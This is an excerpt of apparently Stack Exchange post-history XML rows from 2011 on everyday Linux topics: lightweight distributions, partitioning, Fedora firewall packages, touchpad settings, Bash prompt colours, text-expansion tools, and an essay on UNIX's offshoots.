  <row Id="30124" PostHistoryTypeId="1" PostId="12315" RevisionGUID="e7124872-7799-44ca-a66c-435ec999451a" CreationDate="2011-04-29T17:29:23.767" UserId="7082" Text="looking for light weight Linux for a old 104 pc" />
  <row Id="30125" PostHistoryTypeId="3" PostId="12315" RevisionGUID="e7124872-7799-44ca-a66c-435ec999451a" CreationDate="2011-04-29T17:29:23.767" UserId="7082" Text="élightweightà" />
  <row Id="30126" PostHistoryTypeId="2" PostId="12316" RevisionGUID="95a2e6eb-ab4f-4ff7-b129-5cad56425b42" CreationDate="2011-04-29T17:50:07.777" UserId="6151" Text="I think you'll do fine with just about any distribution (save for Gentoo or LFS maybe) if you install a light desktop environment such as FVWM, fluxbox, openbox and so on. If you care for Ubuntu you can always select a server installation and install a desktop environment from the command line afterwards, there's no need to have a specific Ubuntu deviant for it." />
  <row Id="30127" PostHistoryTypeId="2" PostId="12317" RevisionGUID="ecdc6d42-c4d4-40f7-bff7-f5359cb99e3d" CreationDate="2011-04-29T17:55:48.457" UserId="6890" Text="There are some small variants, e.g. take a look at [DSL][1], [Puppy][2] or [U-lite][3]. U-lite might meet your criteria, it's based on Ubuntu...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Damn_Small_Linux&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Puppy_Linux&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/U-lite" />
  <row Id="30128" PostHistoryTypeId="25" PostId="12315" RevisionGUID="8725d125-5d25-4fe1-8077-db2362cc4398" CreationDate="2011-04-29T18:11:18.203" Comment="http://twitter.com/#!/StackUnix/status/64029001261391872" />
  <row Id="30129" PostHistoryTypeId="2" PostId="12318" RevisionGUID="3e5a139d-c114-4412-8346-601303614c39" CreationDate="2011-04-29T18:12:38.017" UserId="7083" Text="Some more information in the future would be nice. It would for example be good to know what you exactly tried to download. If you look at the website again, you will see that ModelSim PE is only available for Windows. For a linux version you will need to download ModelSim DE.&#xD;&#xA;http://model.com/content/modelsim-de-simulation-and-verification?quicktabs_1=1#quicktabs-1" />
  <row Id="30130" PostHistoryTypeId="2" PostId="12319" RevisionGUID="2ae7c33e-8778-4480-81bc-62e35dc19143" CreationDate="2011-04-29T18:31:09.567" UserId="313" Text="I am changing my current partition scheme (personal development laptop, dual boot) to remove the Windows partition and leave only my Slackware64 instance (yes, I am a full believer now =P XD) and I was wondering, what could be the best way to reconfigure my systems partitions?&#xD;&#xA;&#xD;&#xA;For a while now, I have been keeping / and /home in separate partitions (besides a swap partition too), what other partitions would be good to have in its own section of the disk?&#xD;&#xA;&#xD;&#xA;Thanks in advance for your comments! =)" />
  <row Id="30131" PostHistoryTypeId="1" PostId="12319" RevisionGUID="2ae7c33e-8778-4480-81bc-62e35dc19143" CreationDate="2011-04-29T18:31:09.567" UserId="313" Text="Best Partitions Schema?" />
  <row Id="30132" PostHistoryTypeId="3" PostId="12319" RevisionGUID="2ae7c33e-8778-4480-81bc-62e35dc19143" CreationDate="2011-04-29T18:31:09.567" UserId="313" Text="élinuxàépartitionàéslackwareà" />
  <row Id="30133" PostHistoryTypeId="2" PostId="12320" RevisionGUID="7ed59cd6-7f26-4425-a1eb-5a7cad873f69" CreationDate="2011-04-29T19:07:30.903" UserId="3482" Text="You should try [Tinycore][1]. It just needs 10MB with GUI. But if GUI is not a requirement, then you can pick any distro and not install the desktop environment. That should save you boat loads of memory space. I did the same thing with one of my old laptops. After few days, I installed X to use firefox.&#xD;&#xA;&#xD;&#xA;  [1]: http://distro.ibiblio.org/tinycorelinux/intro.html" />
  <row Id="30134" PostHistoryTypeId="2" PostId="12321" RevisionGUID="170c01c7-f785-4f3e-8e89-f6b543755bf5" CreationDate="2011-04-29T19:11:49.243" UserId="7083" Text="Honestly for a personal laptop any more partitions are just additional overhead in my opinion, that results in more work but no gain. I can see why /home as a separate partition makes sense, but on a personal machine even that isn't really necessary I think. However opinion on this varies greatly, so I'm sure some other views will be presented, there probably is not one single answer to this." />
  <row Id="30135" PostHistoryTypeId="5" PostId="12319" RevisionGUID="a2a570ad-6888-47e4-9bda-35ff25125dbb" CreationDate="2011-04-29T19:13:20.793" UserId="73" Comment="deleted 113 characters in body; edited title" Text="I am changing my current partition scheme (personal development laptop, dual boot) to remove the Windows partition and leave only my Slackware64 instance. What thought should go into my partitioning? I have been keeping `/` and `/home` in separate partitions, as well as a `swap` partition too. How do I decide what other partitions would be good to have in their own section of the disk?&#xD;&#xA;" />
  <row Id="30136" PostHistoryTypeId="4" PostId="12319" RevisionGUID="a2a570ad-6888-47e4-9bda-35ff25125dbb" CreationDate="2011-04-29T19:13:20.793" UserId="73" Comment="deleted 113 characters in body; edited title" Text="How to decide on a partitioning scheme?" />
  <row Id="30137" PostHistoryTypeId="2" PostId="12322" RevisionGUID="9fc1733f-b75b-4cad-865e-d23463bda0d5" CreationDate="2011-04-29T19:16:56.343" UserId="3482" Text="You can use [g3data][2] in conjunction with [Gnuplot][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnuplot.info/&#xD;&#xA;  [2]: http://www.frantz.fi/software/g3data.php" />
  <row Id="30138" PostHistoryTypeId="2" PostId="12323" RevisionGUID="13978be4-cf86-495b-9eeb-f46233cbd60b" CreationDate="2011-04-29T19:29:26.977" UserId="6960" Text="How can I increase the memory on the fly with the hardware management console on AIX 5 &amp; 6??&#xD;&#xA;&#xD;&#xA;Thanks..." />
  <row Id="30139" PostHistoryTypeId="1" PostId="12323" RevisionGUID="13978be4-cf86-495b-9eeb-f46233cbd60b" CreationDate="2011-04-29T19:29:26.977" UserId="6960" Text="AIX HMC - how to increase the memory on the fly?" />
  <row Id="30140" PostHistoryTypeId="3" PostId="12323" RevisionGUID="13978be4-cf86-495b-9eeb-f46233cbd60b" CreationDate="2011-04-29T19:29:26.977" UserId="6960" Text="éaixà" />
  <row Id="30141" PostHistoryTypeId="2" PostId="12324" RevisionGUID="2f4b9a52-e9f2-46da-bfc5-0659b8360025" CreationDate="2011-04-29T19:31:09.633" UserId="7083" Text="Some examples:&#xD;&#xA;&#xD;&#xA;http://www.pearl.de/a-PX3640-1000.shtml?query=touch+pad&#xD;&#xA;&#xD;&#xA;http://www.pearl.de/a-PX2569-1002.shtml?query=touch+pad&#xD;&#xA;&#xD;&#xA;http://www.pearl.de/a-PX3206-1002.shtml?query=touch+pad&#xD;&#xA;&#xD;&#xA;I just used this shop as an example, because I know they have budget stuff. I'm sure you can find them somewhere else as well." />
  <row Id="30142" PostHistoryTypeId="2" PostId="12325" RevisionGUID="22465c23-a3ed-4c76-a5e3-d3ed1c266f28" CreationDate="2011-04-29T19:57:14.577" UserId="3378" Text="Hello guys...&#xD;&#xA;I am feeling stupid... I am searching 3 hours with no success...&#xD;&#xA;I installed fedora 14 and tried to do yum install firestarter but this package isnt found.... &#xD;&#xA;Tried from grafical GUI nothing found.... &#xD;&#xA;It is at fedoras repository.... &#xD;&#xA;Maybe i should configure the repository but all i found are dated... Any help ? THank you.." />
  <row Id="30143" PostHistoryTypeId="1" PostId="12325" RevisionGUID="22465c23-a3ed-4c76-a5e3-d3ed1c266f28" CreationDate="2011-04-29T19:57:14.577" UserId="3378" Text="I cant figure out how to install Firestarter Fedora..." />
  <row Id="30144" PostHistoryTypeId="3" PostId="12325" RevisionGUID="22465c23-a3ed-4c76-a5e3-d3ed1c266f28" CreationDate="2011-04-29T19:57:14.577" UserId="3378" Text="éfedoraàéfirewallà" />
  <row Id="30145" PostHistoryTypeId="2" PostId="12326" RevisionGUID="cacbf667-e539-4902-a7a3-acdffae873d9" CreationDate="2011-04-29T20:00:05.370" UserId="6761" Text="If you want a good overview of Linux distributions that will run on older or lower spec hardware, it would be worth your time browsing through the posts on &lt;a href=&quot;http://kmandla.wordpress.com/&quot;&gt;KMandla's blog&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;He has documented the performance of a large range of distros on these sorts of machines, with insights about the strengths and weaknesses of each. He also has a wiki which features lighter weight CLI applications that run well in these environments." />
  <row Id="30146" PostHistoryTypeId="2" PostId="12327" RevisionGUID="28e9852f-7caf-45e0-a5dc-3d55a2d2cb5f" CreationDate="2011-04-29T20:00:21.107" UserId="7083" Text="I think this depends on the configurability of the router. Afaik it should work as long as both routers use the same subnet, but of course this f.e. also requires that only one of them is assigning ip adresses. If you then cconfigure the second router to not act as a dhcp server etc but statically (if necessary), f.e. I think in generaly routers do not assing above 200 or so, so using 220 should be safe.&#xD;&#xA;As an alternate solution, could you not just use the wireless router for your desktop as well?" />
  <row Id="30147" PostHistoryTypeId="2" PostId="12328" RevisionGUID="269be9ae-abb0-4869-982c-73ab40ec84fb" CreationDate="2011-04-29T20:02:53.763" UserId="3496" Text="The touchpad's click isn't working(doesn't click when tapped) on my Arch installation with Gnome; I've already installed `xf86-input-synaptics`. Does anyone know how to fix this?" />
  <row Id="30148" PostHistoryTypeId="1" PostId="12328" RevisionGUID="269be9ae-abb0-4869-982c-73ab40ec84fb" CreationDate="2011-04-29T20:02:53.763" UserId="3496" Text="touchpad's click isn't working on Arch installation with Gnome" />
  <row Id="30149" PostHistoryTypeId="3" PostId="12328" RevisionGUID="269be9ae-abb0-4869-982c-73ab40ec84fb" CreationDate="2011-04-29T20:02:53.763" UserId="3496" Text="égnomeàéarchölinuxàétouchpadà" />
  <row Id="30150" PostHistoryTypeId="2" PostId="12329" RevisionGUID="5be6251d-8877-41c1-828b-689192081352" CreationDate="2011-04-29T20:07:55.420" UserId="1295" Text="`Firestarter` hasn't been in the fedora repository since Fedora 11.  It's listed as a deprecated package on their [wiki][1].  It's recommended that you use `system-config-firewall` instead.&#xD;&#xA;&#xD;&#xA;Do you have a particular reason for wanted to use firestarter?  If you really want to install it you can try grabbing the source from [sourceforge][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/Deprecated_packages&#xD;&#xA;  [2]: http://sourceforge.net/projects/firestarter/" />
  <row Id="30151" PostHistoryTypeId="2" PostId="12330" RevisionGUID="1647e06f-772a-43cd-921f-b0f48cecc78f" CreationDate="2011-04-29T20:09:33.267" UserId="7085" Text="As long as the two machines can see each other, Synergy will work fine. From the command line, ping one machine from the other to test their connectivity (eg, on the laptop, type ifconfig (*nix)/ipconfig (win), find the ip address, and from the other, type ping &lt;ip address&gt; from the command line). This will probably not work the first time. At that point, you will need to configure your routers correctly- how to do this will depend on the specific routers. I would choose one to be the primary router for your setup, and let the other just be a fancy switch. If you have a cable/dsl modem, use the router closest to that to be the primary (in some cases, one of those two may be the modem itself)." />
  <row Id="30152" PostHistoryTypeId="5" PostId="12329" RevisionGUID="fc938201-fb72-4f5e-a0fe-e46c90e1ceec" CreationDate="2011-04-29T20:18:05.443" UserId="1295" Comment="added 1 characters in body" Text="`Firestarter` hasn't been in the fedora repository since Fedora 11.  It's listed as a deprecated package on their [wiki][1].  It's recommended that you use `system-config-firewall` instead.&#xD;&#xA;&#xD;&#xA;Do you have a particular reason for wanting to use firestarter?  If you really want to install it you can try grabbing the source from [sourceforge][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/Deprecated_packages&#xD;&#xA;  [2]: http://sourceforge.net/projects/firestarter/" />
  <row Id="30153" PostHistoryTypeId="5" PostId="12323" RevisionGUID="0f006fd1-703d-4ecd-802c-01022351e24a" CreationDate="2011-04-29T20:19:43.443" UserId="6960" Comment="deleted 4 characters in body" Text="How can I increase the memory on the fly with the hardware management console on AIX 5 &amp; 6?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="30154" PostHistoryTypeId="2" PostId="12331" RevisionGUID="07cf4cba-e911-4c6f-9c2b-c23b48fe6b66" CreationDate="2011-04-29T20:51:12.467" UserId="6215" Text="Could you show me how to write macro in `xmacro` (that will work in whole desktop environement) that is able to expand strings?&lt;br&gt;&#xD;&#xA;e.g. I will type thx and it will expand to &quot;thank you&quot;.&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="30155" PostHistoryTypeId="1" PostId="12331" RevisionGUID="07cf4cba-e911-4c6f-9c2b-c23b48fe6b66" CreationDate="2011-04-29T20:51:12.467" UserId="6215" Text="Automating typing strings in xmacro" />
  <row Id="30156" PostHistoryTypeId="3" PostId="12331" RevisionGUID="07cf4cba-e911-4c6f-9c2b-c23b48fe6b66" CreationDate="2011-04-29T20:51:12.467" UserId="6215" Text="écommandölineàémacroà" />
  <row Id="30157" PostHistoryTypeId="2" PostId="12332" RevisionGUID="7fb20229-2330-4dff-b4d1-0fd482615c72" CreationDate="2011-04-29T20:57:24.487" UserId="7086" Text="I've seen the giant UNIX family trees, and I'm trying to figure out. If you were to classify its offspring into major categories, which ones are the largest in terms of users,  how many offshoots they have as well, and importance?&#xD;&#xA;&#xD;&#xA;So there's Linux, then there's BSD, then what else is out there?" />
  <row Id="30158" PostHistoryTypeId="1" PostId="12332" RevisionGUID="7fb20229-2330-4dff-b4d1-0fd482615c72" CreationDate="2011-04-29T20:57:24.487" UserId="7086" Text="Which are the biggest offshoots of UNIX?" />
  <row Id="30159" PostHistoryTypeId="3" PostId="12332" RevisionGUID="7fb20229-2330-4dff-b4d1-0fd482615c72" CreationDate="2011-04-29T20:57:24.487" UserId="7086" Text="élinuxàébsdà" />
  <row Id="30161" PostHistoryTypeId="2" PostId="12334" RevisionGUID="346bd1e4-6f2f-4830-b05c-1889666d62c3" CreationDate="2011-04-29T21:10:18.973" UserId="4028" Text="To me /home partition is automatic for back-ups and ease of upgrading/installing new systems.  You can even (usually) share your /home between differing OSes (doesn't apply now, but you never know).  I keep it tidy (&lt; USB drive size) so I can move it around easily.&#xD;&#xA;&#xD;&#xA;Other than that, I haven't noticed much benefit to partitioning other things for home PC use.  Doesn't necessarily apply here, but on my main machine I will usually have a small /boot partition for my bootloader and then will part off my &quot;priority&quot; back-ups. E.g., maybe a partition for photographs that I can clonezilla easily (this is in addition to rsync'ing to an external HD and a remote location - ok, my parents' basement).  I do this mainly because I don't want my wife to ax murder me should I ever accidentally rm /photos (yes, I did it once - that was when I stopped creating any sub-directories with the same names as root directories).&#xD;&#xA;" />
  <row Id="30162" PostHistoryTypeId="2" PostId="12335" RevisionGUID="2e42c93b-2d21-41a9-8050-0ffa3cb11438" CreationDate="2011-04-29T21:11:15.593" UserId="5614" Text="Is there an easy way to change my Bash prompt to modify the colors and what text is displayed? I've heard that this is done in `.bash_rc`, but I haven't found any nice, easy ways of modifying it. How are colors expressed in Bash?" />
  <row Id="30163" PostHistoryTypeId="1" PostId="12335" RevisionGUID="2e42c93b-2d21-41a9-8050-0ffa3cb11438" CreationDate="2011-04-29T21:11:15.593" UserId="5614" Text="How to customize .bash_rc to configure command prompt?" />
  <row Id="30164" PostHistoryTypeId="3" PostId="12335" RevisionGUID="2e42c93b-2d21-41a9-8050-0ffa3cb11438" CreationDate="2011-04-29T21:11:15.593" UserId="5614" Text="ébashàéterminalà" />
  <row Id="30165" PostHistoryTypeId="25" PostId="12325" RevisionGUID="a25da7c5-04c8-4894-80a6-90ebe0861ee9" CreationDate="2011-04-29T21:11:19.010" Comment="http://twitter.com/#!/StackUnix/status/64074303464947712" />
  <row Id="30166" PostHistoryTypeId="6" PostId="12335" RevisionGUID="d464ef49-fb0e-4a62-8fdd-ca5e822f71a8" CreationDate="2011-04-29T21:16:21.637" UserId="885" Comment="edited tags; deleted 1 characters in body; edited title" Text="ébashàépromptà" />
  <row Id="30167" PostHistoryTypeId="5" PostId="12335" RevisionGUID="d464ef49-fb0e-4a62-8fdd-ca5e822f71a8" CreationDate="2011-04-29T21:16:21.637" UserId="885" Comment="edited tags; deleted 1 characters in body; edited title" Text="Is there an easy way to change my Bash prompt to modify the colors and what text is displayed? I've heard that this is done in `.bashrc`, but I haven't found any nice, easy ways of modifying it. How are colors expressed in Bash?" />
  <row Id="30168" PostHistoryTypeId="4" PostId="12335" RevisionGUID="d464ef49-fb0e-4a62-8fdd-ca5e822f71a8" CreationDate="2011-04-29T21:16:21.637" UserId="885" Comment="edited tags; deleted 1 characters in body; edited title" Text="How to customize .bashrc to configure command prompt?" />
  <row Id="30169" PostHistoryTypeId="2" PostId="12336" RevisionGUID="8802f114-0bcd-4108-be54-1f5984156819" CreationDate="2011-04-29T21:29:24.533" UserId="885" Text="If it's a Synaptics touchpad (most are), play with its [options](http://www.x.org/releases/current/doc/man/man4/synaptics.4.xhtml). You can change options on the fly with the [synclient](http://www.x.org/releases/current/doc/man/man1/synclient.1.xhtml) utility.&#xD;&#xA;&#xD;&#xA;It looks like you'll want to experiment with the `Synaptics Finger` property, and perhaps other options whose description contains the word “pressure”.&#xD;&#xA;&#xD;&#xA;The [Arch Synaptics guide](https://wiki.archlinux.org/index.php/Touchpad_Synaptics) looks good and is moslty distribution-agnostic.&#xD;&#xA;" />
  <row Id="30170" PostHistoryTypeId="6" PostId="12278" RevisionGUID="e421328f-273e-47e2-8e43-38ec513275cf" CreationDate="2011-04-29T21:30:38.340" UserId="885" Comment="edited tags" Text="éxorgàétouchpadà" />
  <row Id="30171" PostHistoryTypeId="5" PostId="5320" RevisionGUID="1957584a-5f7b-4690-b7a6-1374b81a3067" CreationDate="2011-04-29T21:41:39.597" UserId="4671" Comment="Mimix -&gt; Minix" Text="*Gilles explained very well the evolution from piece to another [here][1], so I will cover the topic from more broad perspective and give some hints for further research.*&#xD;&#xA;&#xD;&#xA;**From Bazaars and Research Labs to Closed Blobs and Market-marginalized Groups that I think are not that marginal at all**&#xD;&#xA;&#xD;&#xA;The key term to play with evolution is power. If you are dependent on an OS, for example in the form of security updates, you are dependent on the software-manufacturer and hence it has power over you. It can decide to stop publishing security updates or do any evil that its license allows it to do. If the OS is closed, the users must feel helpless because they cannot fix problems on their own, perhaps shown in hypocriticical feelings such as `again the damn driver broken, XYZ's fault`. In the latter discussion, you can `s,OS,sofware,g` and it does not really lose its meaning about power-relationship, clearly some thing being timeless. &#xD;&#xA;&#xD;&#xA;I won't reinvent the damn wheel so please read about Bazaars, corporations and social-environmental-and-other problems below.&#xD;&#xA;&#xD;&#xA;**Start**&#xD;&#xA;&#xD;&#xA; 2. [Homebrew computer club before Apple and such things when things were open][2]&#xD;&#xA;&#xD;&#xA;**Ending, Now and Still Evolving**&#xD;&#xA;&#xD;&#xA; 1. [Amos Batto's essay explaining some reasons behind closing things (Internet Archieve article, cannot be found from Google easily)][3]&#xD;&#xA; 3. For visualizing the evolution, please, see the picture below from Wikipedia where things started from Bazaar (orange phase) and ended to red-green phase where things are still evolving or even chaotic. The picture is wrong or pro-Minix-advertising in some points, n.b. comments. Please, read about the Minix-Linux -turning point and differentiate the `marketing free`, `free-as-beer` and `free-as-speech` -- the debate [here][4]. Shortly, Minix was not `free-as-free-speech` and Tanenbaum made money with it while Linus offered his OS with less restrictive license, very important years to understand so do not get misguided by some oddities in the picture. This crucial point later affected separate parties such as FreeBSD, Linux and Mimix -formation to their current form. Please, note that I don't call them with cohesive terms such as `&quot;open-source&quot;` because the term is getting misused.&#xD;&#xA; &#xD;&#xA; 5. When I used the term bazaar in the title, I really meant it. It is to some extent chaotic so it is hard to get a large picture but then again there are some very systematic groups. The one who can offer the most appropriate solution to current problem will get awarded and can sell his/her products on the market. Sometimes, a developer beats a huge 100 heads' dev teams and sometimes contrary. Torvards have drawn a good analogy with closed blob and open code (or equivalent in some email) to the science and alchemy. I think his point was that while alchemists are extinct in science, you can still find them in Software -area. He did not explain it much but my idea is that alchemists today exist in software engineering because it can be useful time-to-time, some practical situations require creative solutions. It is a bit like physicists used the sirac-delta-distribution over about 30years (according to my lecturer) before mathematicians agreed that it could be formulated in Mathematics, this phase may take some time. But do not underestimate the speculative frenzy in human instincts, it is surprising how many times I have seen people writing something &quot;new&quot;, finding it was already invented. Welcome back to the bazaar!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Culture, Money and Intellectual Capital**&#xD;&#xA;&#xD;&#xA; 4. The FOSS movement is not a marginal body, please, note that they do have their own things such as music ([here][6] or [here][7])and more-and-more hardware ([here][8]) -- if your media says something else or nothing, they are ignoramuses. The movement is more like a culture -- so the term movement is rather misleading -- with their own slants, habits and even past-times, perhaps hard to grasp the idea but more I get into it, the more I think it is but beware wanna-be-users -- it does no good get involved into meaningless debates about `free` and `closed` if the terms are not well-defined or documented like here. &#xD;&#xA; 5. I often find it stupid that people compare this decentralized thing to certain bureaucratic firms, not all of them, because the goal of many innovators per se is many time to have fun instead to create money. So the question like `&quot;do they get paid?&quot;` is a bit arrogant, did you get paid to be a roman or do you now get paid to be XYZ-citizen? Probably not or perhaps -- with a successful endeavor -- you need to wisely choose your camp as always. There are however other important things, such as knowledge, responsibility and co-operation, sometimes hard to measure in $. Is it actually called IC with business people? If so, you may get important skills by engaging to some project, an asset highly appreciated with knowledgeable firms -- but again seen too much wanna-be-reinventing-the-wheel-code so do good research before getting too much involved.  &#xD;&#xA;&#xD;&#xA; 6. If you want to know how to get `&quot;paid&quot;` with this field. I would suggest to research about risk-reward -relationship, perhaps in Money.SO. The unix tools are like science, they are very liberal and allow you to do many things. It depends on the user whether you get paid or not. I think to get paid you need to get into some risky projects like time-consuming/hard/ignored. There is no easy way to get paid anywhere. Why would there be? If there was an easy way, the markets were not efficient. The reason why some big corps get paid is that they have taken huge risks and loans and now get rewarded, sometimes their actions are evil and they may get punished. But for an individual, I suggest a slow steady advancing. To understand why think about unix's early history about research labs, a lot of slow monotone working and prototyping.&#xD;&#xA;&#xD;&#xA;![alt text][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Wanna know more?**&#xD;&#xA;&#xD;&#xA;Your questions have too many confusions to attack them easily, such as presupposition about `hierarchy` that ignores the idea about chaos and ambiguous terms such as `Windows` -- dev branch or branding? And the term `from Unix` in the title tastes too much appealing-to-populism-in-Unix-quesion-site. It is hard to say how `/dev/null` such as W. and other closed things evolved because we don't know them, except speculation! People who know cannot speak. The source is primary, the rest is secondary. Be sure which blindfolds, i.e. search engine, you use for this topic, many valuable articles are dumped with irrelevant information as the case with the above removed article. As a starting point, you could try some links offered above.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3196/evolution-of-operating-systems-from-unix/3202#3202&#xD;&#xA;  [2]: http://opencollector.org/history/homebrew/index.html&#xD;&#xA;  [3]: http://web.archive.org/web/20070613114853/http://www.ciber-runa.net/guide/BetterUpgrade--ActivistGuide.html#Software&#xD;&#xA;  [4]: http://www.dina.dk/~abraham/Linus_vs_Tanenbaum.html&#xD;&#xA;  [5]: http://i.imgur.com/JvOTq.png&#xD;&#xA;  [6]: http://www.openbsd.org/lyrics.html&#xD;&#xA;  [7]: http://en.wikipedia.org/wiki/Plaid_Tongued_Devils&#xD;&#xA;  [8]: http://www.freeduino.org/" />
  <row Id="30172" PostHistoryTypeId="24" PostId="5320" RevisionGUID="1957584a-5f7b-4690-b7a6-1374b81a3067" CreationDate="2011-04-29T21:41:39.597" Comment="Proposed by 4671 approved by 885 edit id of 339" />
  <row Id="30173" PostHistoryTypeId="2" PostId="12337" RevisionGUID="5d1c04ad-8f2a-414a-b21f-209e1cc63c2f" CreationDate="2011-04-29T21:44:37.470" UserId="6761" Text="There is a good guide to setting up a colour bash prompt on &lt;a href=&quot;https://wiki.archlinux.org/index.php/Color_Bash_Prompt&quot;&gt;the Arch Linux wiki&lt;/a&gt;, including a list of colours and some good examples.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30174" PostHistoryTypeId="5" PostId="12292" RevisionGUID="f083c548-3e96-4d00-9c31-8cc483fd137e" CreationDate="2011-04-29T21:45:03.917" UserId="885" Comment="removed irrelevant argumentative paragraph about licensing" Text="If you are using CUPS, you can manage jobs and do other things via the web interface at http://localhost:631. If you are not using CUPS, there are advantages to doing so, as it is now the printing standard, at least for Linux.&#xD;&#xA;" />
  <row Id="30175" PostHistoryTypeId="5" PostId="12326" RevisionGUID="459a4dfd-88a0-40e1-a8ed-45cea2caf51d" CreationDate="2011-04-29T21:47:02.147" UserId="6761" Comment="added link to wiki" Text="If you want a good overview of Linux distributions that will run on older or lower spec hardware, it would be worth your time browsing through the posts on &lt;a href=&quot;http://kmandla.wordpress.com/&quot;&gt;KMandla's blog&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;He has documented the performance of a large range of distros on these sorts of machines, with insights about the strengths and weaknesses of each. He also has &lt;a href=&quot;http://kmandla.wikispaces.com/&quot;&gt;a wiki&lt;/a&gt; which features lighter weight CLI applications that run well in these environments." />
  <row Id="30176" PostHistoryTypeId="2" PostId="12338" RevisionGUID="edd4c725-5cb1-4732-a483-023173029dcb" CreationDate="2011-04-29T21:50:36.310" UserId="6761" Text="After recent upgrades to X, you may need to move some of the relevant sections in your xorg.conf into xorg.conf.d/10-synaptics.conf.&#xD;&#xA;&#xD;&#xA;There is &lt;a href=&quot;https://bbs.archlinux.org/viewtopic.php?id=115196&quot;&gt;a thread on the Arch boards&lt;/a&gt; that details the issue." />
  <row Id="30177" PostHistoryTypeId="2" PostId="12339" RevisionGUID="35d620c3-7995-4fe4-a7d5-06d5f39bacba" CreationDate="2011-04-29T22:09:57.867" UserId="2343" Text="**[xmacro](http://xmacro.sourceforge.net/)** is a basic macro-recorder/macro-player.. it is good for some things, but is not suited to monitoring your keystrokes dynamically... &#xD;&#xA;&#xD;&#xA;  * xmacro: *Record / Play keystrokes and mouse movements in X displays*&#xD;&#xA;&#xD;&#xA;You are probably better off using a tool like [**autokey**](http://code.google.com/p/autokey/).. You can find some tutorials at [How-To Geek](http://www.howtogeek.com/)  &#xD;&#xA;&#xD;&#xA; Autokey Features:  &#xD;&#xA;&#xD;&#xA; * KDE and GTK versions available, making AutoKey integrate well into any desktop environment.&#xD;&#xA; * Write Python scripts to automate virtually any task that can be accomplished via the keyboard&#xD;&#xA; * Built-in code editor (using QScintilla in KDE or GtkSourceView2 in GTK)&#xD;&#xA; * Create phrases (blocks of text) to be pasted into any program on demand (uses the X selection)&#xD;&#xA; * Create collections of phrases/scripts in folders, and assign a hotkey or abbreviation to the folder to display a popup menu&#xD;&#xA; * Regular expressions can be used to filter windows by their title, to exclude hotkeys/abbreviations from triggering in certain applications&#xD;&#xA; * Scripts, phrases and folders can be attached to the tray icon menu, allowing you to select them without assigning a hotkey or abbreviation&#xD;&#xA; * AutoKey can track your usage patterns and present the most frequently used items at the top of the popup menu " />
  <row Id="30178" PostHistoryTypeId="2" PostId="12340" RevisionGUID="c5654c57-b07c-42f3-91d4-059edc75509a" CreationDate="2011-04-29T22:13:55.980" UserId="7088" Text="Bash uses the Ansi color scheme - Wikipedia article:&#xD;&#xA;    http://en.wikipedia.org/wiki/ANSI_escape_code#Colors&#xD;&#xA;&#xD;&#xA;For example, here is my prompt:&#xD;&#xA;(I like my prompt on a separate line, but not everyone does.&#xD;&#xA;Also, my terms have dark background - adjust colors if your&#xD;&#xA;terms are light.)&#xD;&#xA;&#xD;&#xA;    export PS1='\[\e[0;36m\]\u\[\e[0m\]@\[\e[31m\]\h \[\e[0;36m\]\t \[\e[93m\]\w\[\e[36m\] p$$-\!-\$\[\e[0m\]\n\$ '&#xD;&#xA;&#xD;&#xA;The special prompt values are described in the Bash manpage under &quot;Prompting&quot;:&#xD;&#xA;&#xD;&#xA;    \u  the username of the current user&#xD;&#xA;    \h  the hostname up to the first `.'&#xD;&#xA;    \t  the current time in 24-hour HH:MM:SS format&#xD;&#xA;    \w  the current working  directory,  with &#xD;&#xA;        $HOME  abbreviated with  a tilde&#xD;&#xA;        (uses the value of the PROMPT_DIRTRIM variable)&#xD;&#xA;    $$  PID of the Bash (helps distinguish my many terms.&#xD;&#xA;        Useful, eg, if I have to kill something.&#xD;&#xA;    \!  the history number of this command&#xD;&#xA;    \n     newline&#xD;&#xA;    \$  if the effective UID is 0, a #, otherwise a $&#xD;&#xA;" />
  <row Id="30179" PostHistoryTypeId="5" PostId="12339" RevisionGUID="d0a5c8e2-382f-4280-b3dd-1c3d1f39c14e" CreationDate="2011-04-29T22:15:26.820" UserId="2343" Comment="added 80 characters in body; added 63 characters in body" Text="**[xmacro](http://xmacro.sourceforge.net/)** is a basic macro-recorder/macro-player.. it is good for some things, but is not suited to monitoring your keystrokes dynamically... &#xD;&#xA;&#xD;&#xA;  * xmacro: *Record / Play keystrokes and mouse movements in X displays*&#xD;&#xA;&#xD;&#xA;You are probably better off using a tool like [**autokey**](http://code.google.com/p/autokey/).. You can find some tutorials at [How-To Geek](http://www.howtogeek.com/)  &#xD;&#xA;&#xD;&#xA;[Autokey Sample Scripts](http://code.google.com/p/autokey/wiki/SampleScripts)  &#xD;&#xA;[Autokey Video](http://www.youtube.com/watch?v=4KV_B6dBFHA)  &#xD;&#xA;Autokey Features:  &#xD;&#xA;&#xD;&#xA; * KDE and GTK versions available, making AutoKey integrate well into any desktop environment.&#xD;&#xA; * Write Python scripts to automate virtually any task that can be accomplished via the keyboard&#xD;&#xA; * Built-in code editor (using QScintilla in KDE or GtkSourceView2 in GTK)&#xD;&#xA; * Create phrases (blocks of text) to be pasted into any program on demand (uses the X selection)&#xD;&#xA; * Create collections of phrases/scripts in folders, and assign a hotkey or abbreviation to the folder to display a popup menu&#xD;&#xA; * Regular expressions can be used to filter windows by their title, to exclude hotkeys/abbreviations from triggering in certain applications&#xD;&#xA; * Scripts, phrases and folders can be attached to the tray icon menu, allowing you to select them without assigning a hotkey or abbreviation&#xD;&#xA; * AutoKey can track your usage patterns and present the most frequently used items at the top of the popup menu " />
